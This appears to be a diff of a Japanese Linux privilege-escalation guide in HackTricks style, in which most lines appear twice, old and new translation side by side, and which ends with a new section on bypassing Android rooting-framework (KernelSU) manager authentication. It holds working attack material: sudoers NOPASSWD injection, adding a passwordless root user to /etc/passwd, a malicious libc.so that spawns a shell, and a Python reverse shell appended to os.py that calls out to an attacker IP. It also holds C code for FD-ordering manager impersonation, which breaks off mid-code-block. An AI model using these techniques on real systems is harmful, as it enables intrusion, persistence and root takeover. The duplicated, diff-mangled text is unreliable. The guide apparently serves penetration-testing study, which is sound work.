例えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (そのようなファイルやディレクトリはありません)”_ のようなエラーに遭遇することは、悪用の可能性を示唆しています。 例えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (そのようなファイルやディレクトリはありません)”_ のようなエラーに遭遇することは、悪用の可能性を示唆しています。
これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、以下のコードを含めることになります: これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、のコードを含めることになります:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -894,7 +894,7 @@ system("/bin/bash -p");
[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。 [**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。
このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、他のポストエクスプロイテーションタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。 このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、その他のポストエクスプロイテーションタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。
> gdb -nx -ex '!sh' -ex quit\ > gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\ > sudo mysql -e '! /bin/sh'\
@ -915,20 +915,20 @@ https://gtfoargs.github.io/
### Sudoトークンの再利用 ### Sudoトークンの再利用
**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることによって特権を昇格させる**ことができます。 **sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすること特権を昇格させる**ことができます。
特権を昇格させるための要件: 特権を昇格させるための要件:
- あなたはすでに "_sampleuser_" としてシェルを持っています - あなたはすでにユーザー "_sampleuser_" としてシェルを持っています
- "_sampleuser_" は **過去15分間に `sudo`** を使用して何かを実行しています(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です - "_sampleuser_" は**過去15分間に `sudo`** を使用して何かを実行しています(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です
- `cat /proc/sys/kernel/yama/ptrace_scope` は 0 です - `cat /proc/sys/kernel/yama/ptrace_scope` は 0 です
- `gdb` にアクセス可能です(アップロードできる必要があります) - `gdb` にアクセス可能です(アップロードできる必要があります)
`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` で一時的に `ptrace_scope` を有効にするか、`/etc/sysctl.d/10-ptrace.conf` を永続的に変更して `kernel.yama.ptrace_scope = 0` を設定できます) `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` で一時的に `ptrace_scope` を有効にするか、`/etc/sysctl.d/10-ptrace.conf` を永続的に修正して `kernel.yama.ptrace_scope = 0` を設定できます)
これらの要件がすべて満たされている場合、**次の方法で特権を昇格させることができます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) これらの要件がすべて満たされている場合、**次の方法で特権を昇格させることができます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにする**ことができます(自動的にルートシェルは取得できませんので、`sudo su` を実行してください): - **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにする**ことができます(自動的にrootシェルは取得できませんので、`sudo su` を実行してください):
```bash ```bash
bash exploit.sh bash exploit.sh
/tmp/activate_sudo_token /tmp/activate_sudo_token
@ -946,7 +946,7 @@ sudo su
``` ```
### /var/run/sudo/ts/\<Username> ### /var/run/sudo/ts/\<Username>
フォルダ内のファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\ フォルダ内の作成されたファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\
例えば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても**sudo権限を取得**できます。 例えば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても**sudo権限を取得**できます。
```bash ```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
@ -954,12 +954,12 @@ sudo su
### /etc/sudoers, /etc/sudoers.d ### /etc/sudoers, /etc/sudoers.d
ファイル `/etc/sudoers``/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\ ファイル `/etc/sudoers``/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\
**もし**このファイルを**読む**ことができれば、**興味深い情報を取得できる**可能性があります。また、**書き込み**ができるファイルがあれば、**特権を昇格させる**ことができるでしょう。 **もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる** 可能性があります。また、**もし** どのファイルでも **書き込む** ことができれば、**特権を昇格させる** ことができるでしょう。
```bash ```bash
ls -l /etc/sudoers /etc/sudoers.d/ ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/ ls -ld /etc/sudoers.d/
``` ```
き込みができれば、この権限を悪用できます。 けるなら、この権限を悪用することができます。
```bash ```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@ -973,13 +973,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
``` ```
### DOAS ### DOAS
`sudo` バイナリの代替として、OpenBSD の `doas` などがあります。 `/etc/doas.conf` でその設定を確認してください。 `sudo` バイナリの代替として、OpenBSD の `doas` などがあります。 `/etc/doas.conf` でその設定を確認することを忘れないでください。
``` ```
permit nopass demo as root cmd vim permit nopass demo as root cmd vim
``` ```
### Sudo Hijacking ### Sudo Hijacking
もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。そして、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。 もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。そして、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するなどので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。
ユーザーが異なるシェルbash以外を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc``~/.zshrc``~/.bash_profile`を変更します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。 ユーザーが異なるシェルbash以外を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc``~/.zshrc``~/.bash_profile`を変更します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。
@ -1006,8 +1006,8 @@ sudo ls
これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ****検索される** ことになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。 **これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します** これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ****検索される** ことになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。 **これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**
何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダ、特権を昇格させることができるかもしれません。\ 何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf``/etc/ld.so.conf.d/``/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダに対して、特権を昇格させることができるかもしれません。\
次のページで **この誤設定を悪用する方法**確認してください: この誤設定を **どのように悪用するか** を次のページで確認してください:
{{#ref}} {{#ref}}
ld.so.conf-example.md ld.so.conf-example.md
@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000) /lib/ld-linux.so.2 (0x005bb000)
``` ```
`/var/tmp/flag15/`にlibをコピーすることで、`RPATH`変数で指定されたこの場所プログラムによって使用されます。 `/var/tmp/flag15/`にlibをコピーすることで、`RPATH`変数で指定されたこの場所プログラムによって使用されます。
``` ```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000) /lib/ld-linux.so.2 (0x00737000)
``` ```
`/var/tmp``gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使て悪意のあるライブラリを作成します。 `/var/tmp``gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使用して悪意のあるライブラリを作成します。
```c ```c
#include<stdlib.h> #include<stdlib.h>
#define SHELL "/bin/sh" #define SHELL "/bin/sh"
@ -1049,7 +1049,7 @@ execve(file,argv,0);
## Capabilities ## Capabilities
Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、区別された単位に分割されます**。これらの単位はそれぞれ独立してプロセスに付与できます。この方法により、権限の完全なセットが削減され、悪用のリスクが低下します。\ Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、区別された単位に分割されます**。これらの単位はそれぞれ独立してプロセスに付与できます。この方法により、権限の完全なセットが削減され、悪用のリスクが低下します。\
以下のページを読んで、**capabilitiesについて、そしてそれを悪用する方法を学んでください** 以下のページを読んで、**capabilitiesについてそれを悪用する方法を学んでください**
{{#ref}} {{#ref}}
linux-capabilities.md linux-capabilities.md
@ -1062,7 +1062,7 @@ linux-capabilities.md
## ACLs ## ACLs
アクセス制御リストACLは、裁量的権限の二次的な層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。 アクセス制御リストACLは、裁量的権限の二次的な層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルやディレクトリへのアクセスをより制御します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。
**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を与えます** **ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を与えます**
```bash ```bash
@ -1097,7 +1097,7 @@ screen -x [user]/[session id]
``` ```
## tmux セッションのハイジャック ## tmux セッションのハイジャック
これは **古い tmux バージョン** に関する問題でした。特権ユーザーとして root によって作成された tmux (v2.1) セッションをハイジャックすることはできませんでした。 これは **古い tmux バージョン** に関する問題でした。特権のないユーザーとして root によって作成された tmux (v2.1) セッションをハイジャックすることはできませんでした。
**tmux セッションのリスト** **tmux セッションのリスト**
```bash ```bash
@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding ### ForwardAgent/AllowAgentForwarding
SSH エージェントフォワーディングを使用すると、**サーバーに置いたままのキー**(パスフレーズなし!)の代わりに **ローカルの SSH キーを使用**できます。これにより、ssh **でホストにジャンプ**し、そこから **別の** ホストに **ジャンプ**することができ、**初期ホスト**にある **キー**を使用できます。 SSH エージェントフォワーディングを使用すると、**サーバーにパスフレーズなしで** キーを置くのではなく、**ローカルの SSH キーを使用する**ことができます。これにより、ssh **でホストにジャンプ**し、そこから **別の** ホストに **ジャンプする**ことができ、**初期ホスト**にある **キー**を使用ます。
このオプションを `$HOME/.ssh.config` に次のように設定する必要があります: このオプションを `$HOME/.ssh.config` に次のように設定する必要があります:
``` ```
@ -1160,10 +1160,10 @@ ForwardAgent yes
``` ```
`Host``*`の場合、ユーザーが異なるマシンにジャンプするたびに、そのホストはキーにアクセスできるようになります(これはセキュリティの問題です)。 `Host``*`の場合、ユーザーが異なるマシンにジャンプするたびに、そのホストはキーにアクセスできるようになります(これはセキュリティの問題です)。
ファイル`/etc/ssh_config`はこの**オプション**を**上書き**し、この設定を許可または拒否することができます。\ ファイル`/etc/ssh_config`はこの**options**を**override**し、この設定を許可または拒否することができます。\
ファイル`/etc/sshd_config``AllowAgentForwarding`というキーワードを使用してssh-agentフォワーディングを**許可**または**拒否**することができます(デフォルトは許可です)。 ファイル`/etc/sshd_config`キーワード`AllowAgentForwarding`を使用してssh-agentフォワーディングを**allow**または**denied**することができますデフォルトはallowです)。
環境でForward Agentが設定されている場合、次のページを読んでください。**特権を昇格させるために悪用できるかもしれません** Forward Agentが環境で設定されている場合、次のページを読むことをお勧めします。**権限を昇格させるために悪用できる可能性があります**
{{#ref}} {{#ref}}
ssh-forward-agent-exploitation.md ssh-forward-agent-exploitation.md
@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
### プロファイルファイル ### プロファイルファイル
ファイル`/etc/profile`および`/etc/profile.d/`内のファイルは、**ユーザーが新しいシェルを実行するときに実行されるスクリプトです**。したがって、これらのいずれかを**書き込むまたは変更することができれば、権を昇格させることができます**。 ファイル`/etc/profile`および`/etc/profile.d/`内のファイルは、**ユーザーが新しいシェルを実行するときに実行されるスクリプトです**。したがって、これらのいずれかを**書き込むまたは変更することができれば、権を昇格させることができます**。
```bash ```bash
ls -l /etc/profile /etc/profile.d/ ls -l /etc/profile /etc/profile.d/
``` ```
@ -1204,11 +1204,11 @@ python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
``` ```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
``` ```
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
`hacker:hacker`を使って`su`コマンドを実行できます。 これで `hacker:hacker``su` コマンドを使用できます。
また、パスワードなしのダミーユーザーを追加するために、以下の行を使用できます。\ また、パスワードなしのダミーユーザーを追加するには、次の行を使用できます。\
警告: 現在のマシンのセキュリティが低下する可能性があります。 警告: 現在のマシンのセキュリティが低下する可能性があります。
``` ```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
@ -1287,12 +1287,12 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Known files containing passwords ### Known files containing passwords
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\ [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\
**もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。 **もう一つの興味深いツール**は、**LaZagne**です。これは、Windows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
### Logs ### Logs
ログを読むことができれば、**その中に興味深い/機密情報を見つけることができるかもしれません**。ログが奇妙であればあるほど、興味深いものになるでしょう(おそらく)。\ ログを読むことができれば、**その中に興味深い/機密情報を見つけることができるかもしれません**。ログが奇妙であればあるほど、興味深いものになるでしょう(おそらく)。\
また、**「悪い」**構成(バックドアがある?)の**監査ログ**は、この記事で説明されているように、**監査ログ内にパスワードを記録することを許可するかもしれません**: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 また、**「悪い」**設定(バックドア?)の**監査ログ**は、この記事で説明されているように、**監査ログ内にパスワードを記録する**ことを許可するかもしれません: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
```bash ```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1319,7 +1319,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
### Python library hijacking ### Python library hijacking
Pythonスクリプトが実行される**場所**を知っていて、そのフォルダー内に**書き込むことができる**、または**Pythonライブラリを変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができますPythonスクリプトが実行される場所に書き込むことができる場合、os.pyライブラリをコピーして貼り付けます **どこ**からPythonスクリプトが実行されるかを知っていて、そのフォルダー内に**書き込むことができる**、または**Pythonライブラリを変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができますPythonスクリプトが実行される場所に書き込むことができる場合、os.pyライブラリをコピーして貼り付けます
ライブラリを**バックドア**するには、os.pyライブラリの最後に次の行を追加しますIPとPORTを変更してください ライブラリを**バックドア**するには、os.pyライブラリの最後に次の行を追加しますIPとPORTを変更してください
```python ```python
@ -1336,7 +1336,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
この脆弱性は[**logrotten**](https://github.com/whotwagner/logrotten)を使用して悪用できます。 この脆弱性は[**logrotten**](https://github.com/whotwagner/logrotten)を使用して悪用できます。
この脆弱性は[**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginxログ)**に非常に似ているため、ログを変更できることがわかった場合は、誰がそのログを管理しているかを確認し、ログをシンボリックリンクで置き換えることで特権を昇格できるかどうかを確認してください。 この脆弱性は[**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginxログ)**に非常に似ているため、ログを変更できることがわかった場合は、誰がそのログを管理しているかを確認し、シンボリックリンクでログを置き換えることで特権を昇格できるかどうかを確認してください。
### /etc/sysconfig/network-scripts/ (Centos/Redhat) ### /etc/sysconfig/network-scripts/ (Centos/Redhat)
@ -1356,9 +1356,9 @@ DEVICE=eth0
``` ```
### **init, init.d, systemd, and rc.d** ### **init, init.d, systemd, and rc.d**
ディレクトリ `/etc/init.d`**System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start``stop``restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、 `/etc/rc?.d/` にあるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。 ディレクトリ `/etc/init.d`**System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start``stop``restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、`/etc/rc?.d/` に見られるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。
一方、 `/etc/init`**Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定と共に互換性レイヤーのために引き続き利用されています。 一方、`/etc/init`**Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定と共に互換性レイヤーのために引き続き利用されています。
**systemd** は現代的な初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用の `/usr/lib/systemd/` と管理者の変更用の `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。 **systemd** は現代的な初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用の `/usr/lib/systemd/` と管理者の変更用の `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。
@ -1426,4 +1426,12 @@ cisco-vmanage.md
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
## Android rooting frameworks: manager-channel abuse
Androidルーティングフレームワークは、特権のあるカーネル機能をユーザースペースのマネージャに公開するために、一般的にシステムコールをフックします。弱いマネージャ認証FD順序に基づく署名チェックや不十分なパスワードスキームは、ローカルアプリがマネージャを偽装し、すでにルート化されたデバイスでルート権限を昇格させることを可能にします。詳細とエクスプロイトの詳細については、こちらをご覧ください
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,190 @@
# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
{{#include ../../banners/hacktricks-training.md}}
KernelSU、APatch、SKRoot、Magiskなどのルーティングフレームワークは、Linux/Androidカーネルを頻繁にパッチし、フックされたシステムコールを介して特権機能を特権のないユーザースペースの「マネージャー」アプリに公開します。マネージャー認証ステップに欠陥がある場合、任意のローカルアプリがこのチャネルにアクセスし、すでにルート化されたデバイスで特権を昇格させることができます。
このページは、攻撃面、悪用の原則、および堅牢な緩和策を理解するために、公開研究特にZimperiumのKernelSU v0.5.7の分析)で明らかにされた技術と落とし穴を抽象化しています。
---
## アーキテクチャパターン: syscall-hooked manager channel
- カーネルモジュール/パッチがシステムコール一般的にはprctlをフックして、ユーザースペースからの「コマンド」を受け取ります。
- プロトコルは通常、magic_value、command_id、arg_ptr/len ...です。
- ユーザースペースのマネージャーアプリが最初に認証します(例: CMD_BECOME_MANAGER。カーネルが呼び出し元を信頼されたマネージャーとしてマークすると、特権コマンドが受け入れられます
- 呼び出し元にルートを付与する(例: CMD_GRANT_ROOT
- suの許可リスト/拒否リストを管理する
- SELinuxポリシーを調整する例: CMD_SET_SEPOLICY
- バージョン/構成を照会する
- 任意のアプリがシステムコールを呼び出せるため、マネージャー認証の正確性が重要です。
KernelSU設計
- フックされたシステムコール: prctl
- KernelSUハンドラーに転送するためのマジック値: 0xDEADBEEF
- コマンドには、CMD_BECOME_MANAGER、CMD_GET_VERSION、CMD_ALLOW_SU、CMD_SET_SEPOLICY、CMD_GRANT_ROOTなどが含まれます。
---
## KernelSU v0.5.7 認証フロー(実装された通り)
ユーザースペースがprctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...)を呼び出すと、KernelSUは以下を検証します
1) パスプレフィックスチェック
- 提供されたパスは、呼び出し元UIDの期待されるプレフィックス例: /data/data/<pkg> または /data/user/<id>/<pkg>)で始まる必要があります。
- 参照: core_hook.c (v0.5.7) パスプレフィックスロジック。
2) 所有権チェック
- パスは呼び出し元UIDによって所有されている必要があります。
- 参照: core_hook.c (v0.5.7) 所有権ロジック。
3) FDテーブルスキャンによるAPK署名チェック
- 呼び出しプロセスのオープンファイルディスクリプタFDを反復処理します。
- パスが/data/app/*/base.apkに一致する最初のファイルを選択します。
- APK v2署名を解析し、公式のマネージャー証明書と照合します。
- 参照: manager.c (FDの反復処理)、apk_sign.c (APK v2検証)。
すべてのチェックが通過すると、カーネルはマネージャーのUIDを一時的にキャッシュし、そのUIDからの特権コマンドを受け入れます。
---
## 脆弱性クラス: FD反復からの「最初に一致するAPK」を信頼する
署名チェックがプロセスFDテーブルで見つかった「最初に一致する/data/app/*/base.apk」にバインドされる場合、実際には呼び出し元のパッケージを検証していません。攻撃者は、正当な署名のAPK本物のマネージャーのものを事前に配置し、自分のbase.apkよりもFDリストの早い位置に表示させることができます。
この間接的な信頼により、特権のないアプリがマネージャーを偽装できるようになります。
悪用される主な特性:
- FDスキャンは呼び出し元のパッケージIDにバインドされず、パス文字列のパターンマッチングのみを行います。
- open()は最も低い利用可能なFDを返します。低い番号のFDを最初に閉じることで、攻撃者は順序を制御できます。
- フィルターはパスが/data/app/*/base.apkに一致することのみを確認し、呼び出し元のインストールされたパッケージに対応しているかどうかは確認しません。
---
## 攻撃の前提条件
- デバイスはすでに脆弱なルーティングフレームワーク(例: KernelSU v0.5.7)でルート化されています。
- 攻撃者はローカルで任意の特権のないコードを実行できますAndroidアプリプロセス
- 本物のマネージャーはまだ認証されていません(例: 再起動直後。一部のフレームワークは成功後にマネージャーUIDをキャッシュします。レースに勝つ必要があります。
---
## 悪用の概要KernelSU v0.5.7
高レベルのステップ:
1) プレフィックスと所有権チェックを満たすために、自分のアプリデータディレクトリへの有効なパスを構築します。
2) 自分のbase.apkよりも低い番号のFDで本物のKernelSU Manager base.apkが開かれていることを確認します。
3) prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...)を呼び出してチェックを通過させます。
4) CMD_GRANT_ROOT、CMD_ALLOW_SU、CMD_SET_SEPOLICYなどの特権コマンドを発行して昇格を持続させます。
ステップ2FDの順序付けに関する実用的な注意
- /proc/self/fdシンボリックリンクを歩いて、自分の/data/app/*/base.apkのFDを特定します。
- 低いFD例: stdin、fd 0を閉じて、正当なマネージャーAPKを最初に開くことで、fd 0または自分のbase.apk fdよりも低いインデックスを占有させます。
- 正当なマネージャーAPKをアプリにバンドルし、そのパスがカーネルの単純なフィルターを満たすようにします。たとえば、/data/app/*/base.apkに一致するサブパスの下に配置します。
例のコードスニペットAndroid/Linux、参考用のみ
オープンFDを列挙してbase.apkエントリを特定します
```c
#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
DIR *d = opendir("/proc/self/fd");
if (!d) return -1;
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
int best_fd = -1;
while ((e = readdir(d))) {
if (e->d_name[0] == '.') continue;
int fd = atoi(e->d_name);
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
ssize_t n = readlink(link, p, sizeof(p)-1);
if (n <= 0) continue; p[n] = '\0';
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
if (best_fd < 0 || fd < best_fd) {
best_fd = fd; strncpy(out_path, p, PATH_MAX);
}
}
}
closedir(d);
return best_fd; // First (lowest) matching fd
}
```
低い番号のFDを正当なマネージャーAPKを指すように強制する
```c
